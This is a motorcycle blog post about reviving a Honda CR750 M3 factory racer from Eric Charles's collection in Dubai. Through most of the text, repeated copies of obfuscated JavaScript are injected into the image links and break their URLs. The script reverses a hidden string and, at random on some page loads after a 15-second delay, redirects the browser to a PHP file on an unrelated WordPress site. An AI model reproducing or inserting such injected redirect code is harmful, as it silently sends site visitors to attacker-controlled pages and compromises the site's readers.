We have been wanting to get behind the scenes with Mr Charles and his stunning (and we mean proper mind blowing here!) collection of historically relevant classic racers for some time.  These are the real deal – every single one of them!  The collection will be the basis of another story, but in the mean time we are here to talk about one in particular.

So last weekend Stephane and Julian where in town with us filming the penultimate round of the UAE GT Championship and we thought it would be the ideal time to make the journey across town and witness a legend being woken from a slumber.  Step forward the game changing Honda CR 750 M3 Factory Racer.

The bike you see before you was the result of Honda making the call to move significantly upscale from their position at the time. Honda bravely entered the high-performance, multi-cylinder, large displacement ‘consumer’ arena in 1969, with the introduction of the inline four-cylinder CB750.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20117890/behind-the-scenes-honda-750-cr-the-game-changer/eric-charles-honda-750-cr-19/” rel=”attachment wp-att-7909″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/03/Eric-Charles-Honda-750-CR-19.jpg” width=”728″ height=”1092″ />

This was the bike that then gave us the game changing CR 750 M3 Factory Racer that you see before you.

So as we mentioned above, the reason for being in the presence of a such a piece of history was to shoot, film and capture the bringing to life of Eric’s bike, after a number of years sat proudly in his collection.  Thanks to the dab hand of French Legend Gilles Chauve the carbs where given a thorough going over..

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20117890/behind-the-scenes-honda-750-cr-the-game-changer/eric-charles-honda-750-cr-12/” rel=”attachment wp-att-7902″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/03/Eric-Charles-Honda-750-CR-12.jpg” width=”728″ height=”485″ />

The fuel system was cleaned, purged and primed for action…

The old toffee-esque oil was drained out and a fresh batch of liquid gold was poured in…

And then it was time!  Eric pushed the bike back onto the mobile rollers and got ready for the moment of glory.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20117890/behind-the-scenes-honda-750-cr-the-game-changer/eric-charles-honda-750-cr-8/” rel=”attachment wp-att-7898″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/03/Eric-Charles-Honda-750-CR-8.jpg” width=”728″ height=”485″ />

Which sadly for all of us didn’t happen as expected.  So off the rollers it went and the head scratching began.  After another round of coffee and biscuits care of Mrs Charles, the motivation levels were back up and Rd2 was ready and waiting.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20117890/behind-the-scenes-honda-750-cr-the-game-changer/eric-charles-honda-750-cr-14/” rel=”attachment wp-att-7904″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/03/Eric-Charles-Honda-750-CR-14.jpg” width=”728″ height=”485″ />

With the rollers running at full steam and both Eric and Gilles working their magic, the old girl burst into life!  Actually I think burst probably doesn’t do it justice, as the might of 93hp motor igniting shocked the life out of all of us.  The most intense and sonorous noise you can imagine blew out across the Dubai desert and even attracted people from the neighbouring streets to wander down and catch a glimpse of what was going on.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20117890/behind-the-scenes-honda-750-cr-the-game-changer/eric-charles-honda-750-cr-3/” rel=”attachment wp-att-7893″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/03/Eric-Charles-Honda-750-CR-3.jpg” width=”728″ height=”1092″ />

We will leave you with a full break down of the technical aspects of the bike and the mind blowing list of achievements that it succeced in collecting during its fruitful competition life.  Eric will be hitting the Dubai Autodrome in the next couple of weeks to give the bike a proper leg stretch so if you are interested in seeing a piece of history lapping the track, we urge you to head on down.

Keep your eyes peeled for the video that we will be releasing in the coming weeks.
